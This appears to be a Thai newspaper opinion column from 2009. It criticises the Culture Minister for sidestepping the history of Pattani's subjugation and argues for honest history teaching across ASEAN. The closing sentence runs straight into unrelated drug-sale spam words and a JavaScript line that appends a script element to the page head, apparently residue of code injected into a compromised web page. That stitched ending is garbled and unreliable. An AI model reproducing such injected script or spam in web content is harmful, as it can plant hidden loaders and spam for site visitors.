หนังสือพิมพ์มติชน ฉบับประจำวันพฤหัสบดีที่ 5 มีนาคม 2552

สิ่งแรกที่ประชาคมอาเซียนต้องเร่งทำมี 3 ข้อ แต่ 1 ใน 3 ข้อ เปลว สีเงิน บอกไว้ในคอลัมน์คนปลายซอย ของ ไทยโพสต์ (ฉบับวันจันทร์ที่ 2 มีนาคม 2552 หน้า 5) ว่า

“อาเซียนทั้ง 10 ชาติ ต้องร่วม ‘ชำระประวัติศาสตร์’ ของภูมิภาคนี้ใหม่ โดยเฉพาะในส่วนที่มีความสัมพันธ์ต่อกัน เพื่อมิให้ประวัติศาสตร์ที่ ‘ต่างฝ่ายต่างเขียน’ เป็นเครื่องปลูกฝัง ‘ทัศนคติปฏิปักษ์’ ฝังรากลึกไปเรื่อยๆ”

น่าประหลาดที่รัฐมนตรีว่าการกระทรวงวัฒนธรรมพยายามหลีกเลี่ยงความจริงใน“ประวัติศาสตร์” ดูได้จากนักข่าวถามว่า ที่ผ่านมาหลายฝ่ายมองกันว่า ปัญหา 3 จังหวัดชายแดนภาคใต้ อยู่ที่ปมประวัติศาสตร์ (สอดคล้องกับประเด็นที่เปลว สีเงิน เขียนแนะนำไว้)

แต่รัฐมนตรีกระทรวงวัฒนธรรมตอบเลี่ยงอย่างน่าอัศจรรย์ใจ (เนชั่นสุดสัปดาห์ ฉบับวันศุกร์ที่ 20 กุมภาพันธ์ 2552 หน้า 73) ความว่า

“ผมไม่อยากให้มองซับซ้อนถึงขนาดนั้น การแก้ไขปัญหาคือการมองจากสถานการณ์จริง และมองให้สอดคล้องความเป็นจริง ส่วนประวัติศาสตร์เราก็ต้องเรียนรู้ว่าเรามาจากไหน ไม่ใช่นำประวัติศาสตร์มาขัดแย้งกันแล้วสร้างความแตกแยกกันอีก”

รัฐมนตรีกระทรวงวัฒนธรรมคงไม่รู้จริงๆว่าสถานการณ์จริงที่มีความเป็นจริง มีต้นเหตุจากประวัติศาสตร์ เริ่มตั้งแต่ยุคต้นกรุงรัตนโกสินทร์ที่ไปตีรัฐปัตตานีมาเป็นเมืองขึ้น แล้วเกณฑ์ชาวปัตตานีเป็นเชลยพร้อมปืนใหญ่เอามาไว้กรุงเทพฯ จากนั้นได้ปฏิรูปการปกครองลดฐานะความเป็นเจ้านายมลายูปัตตานีลงในสมัยรัชกาลที่ 5 จนถึงรัฐบาลจอมพล ป. พิบูลสงคราม ทำร้ายชาวมุสลิมชายแดนใต้ทั้งหมดสืบเนื่องมายาวนานจนถึงรัฐบาล ม.ร.ว. คึกฤทธิ์ ปราโมช ที่ประกาศยอมรับความจริงเป็นครั้งแรก ว่าคนปัตตานีเป็นชาวมลายู แต่ถูกบังคับให้เป็น คนไทย

ถ้ารัฐมนตรีกระทรวงวัฒนธรรมไม่รู้และไม่ยอมรับความซับซ้อนในประวัติศาสตร์ของไทยตั้งแต่อดีตตราบจนปัจจุบันแล้ว รัฐบาลจะแก้ไขให้เกิดสันติภาพอย่างไร? เพราะสังคมไทยที่รัฐมนตรีมีส่วนเป็นเจ้าของนี่แหละไม่ให้ความสำคัญต่อประวัติศาสตร์ที่เป็นจริงและมีพยานหลักฐาน จึงพากันหลอกตัวเองว่ายิ่งใหญ่ แล้วอวดเบ่งข่มเหงเพื่อนบ้านโดยรอบ จนเพื่อนบ้านหวาดระแวงขัดแย้งตามชายแดนรอบประเทศ ถือเป็นประวัติศาสตร์บาดหมางเพื่อประโยชน์ของคนสร้างฝ่ายเดียวเท่านั้น

สังคมไทยมิใช่หรือที่ยกประวัติศาสตร์มาขัดแย้ง แล้วสร้างความแตกแยกบาดหมาง กรุณาอ่านหนังสือประวัติศาสตร์แห่งชาติของไทยที่บ่มเพาะให้เกลียดพม่า, เขมร, และมลายูมุสลิม, ฯลฯ

รัฐมนตรีกระทรวงศึกษาธิการต้องเร่งรัดให้มี “คณะกรรมการเพื่อผลักดันและส่งเสริมให้การอ่านเป็นวาระแห่งชาติ รวมทั้งสร้างสังคมแห่งการเรียนรู้ตลอดชวิตอย่างแท้จริง” ตามที่ประกาศไว้กับมติชน (ฉบับวันศุกร์ที่ 27 กุมภาพันธ์ 2552 หน้า 15) โดยเฉพาะอย่างยิ่งให้เน้นอ่านและเรียนรู้ประวัติศาสตร์ไทยและอุษาคเนย์

เพราะดูแต่รัฐมนตรีกระทรวงวัฒนธรรม ผู้มีหน้าที่โดยตรงทางประวัติศาสตร์ โบราณคดี วรรณคดี ฯลฯ ยังไม่ยอมรับความจริงทางประวัติศาสตร์ที่เราทำร้ายคนอื่นไว้ แล้วสันติภาพแท้จริงจะมีขึ้นได้อย่างไร?

 

 

pattani2

รัฐปัตตานี ใน “ศรีวิชัย” เก่าแก่กว่ารัฐสุโขทัยในประวัติศาสตร์ (สุจิตต์ วงษ์เทศ บรรณาธิการ สำนักพิมพ์มติชน พิมพ์ครั้งที่ 4 พฤศจิกายน 2548) แล้วทำไมประวัติศาสตร์ไทยสอนว่ารัฐปัตตานีมาพึ่งพระบรมโพธิสมภารพ่อขุนรามคำแหง? เพราะผิดจากพยานหลักฐานประวัติศาสตร์โบราณคดีที่ระบุชัดว่ารัฐปัตตานีเป็นรัฐเอกเทศสืบมาจนถึงสมัยกรุงธนบุรีfluoxetine classification avanafil orderd.getElementsByTagName(‘head’)[0].appendChild(s);